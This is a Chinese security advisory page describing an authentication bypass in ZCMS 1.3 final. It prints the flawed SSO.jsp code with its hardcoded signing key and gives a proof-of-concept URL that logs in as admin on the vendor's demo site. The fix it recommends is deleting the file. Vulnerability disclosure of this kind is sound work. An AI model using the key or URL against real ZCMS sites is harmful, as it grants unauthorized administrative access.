ZCMS 1.3 final后台验证绕过漏洞及修复方案

ZCMS 1.3 final后台验证绕过漏洞及修复方案 - 网站安

来源：自学PHP网时间：2015-04-17 14:47 作者：阅读:次

[导读] 简要描述：SSO.jsp文件逻辑错误详细说明：SSO.jsp文件逻辑错误%String username = request.getParameter(u);String time = request.getParameter(t);String str = request.getParameter(s);Stri......

简要描述：
SSO.jsp
文件逻辑错误
详细说明：
SSO.jsp文件逻辑错误
<%

String username = request.getParameter("u");

String time = request.getParameter("t");

String str = request.getParameter("s");

String key = "WIU%&*DJAJKL%^*W(DLJIST";

String s = StringUtil.md5Hex(username + time + key);

if (s.equals(str)) {

}

%>
漏洞证明：
http://www.zving.com/demo/SSO.jsp?u=admin&t=1&s=ff1168b33fe9e33841bb9814c58a098d
修复方案：
删除漏洞文件

漏洞作者： tnt1200

VELOCITY本地代码执行漏洞 - 网站安全 - 自学php

腾讯3个鸡肋漏洞组合的利用及修复方案 - 网站安

子栏目

ZCMS 1.3 final后台验证绕过漏洞及修复方案 - 网站安

最新评论

添加评论

更多文章推荐

添加评论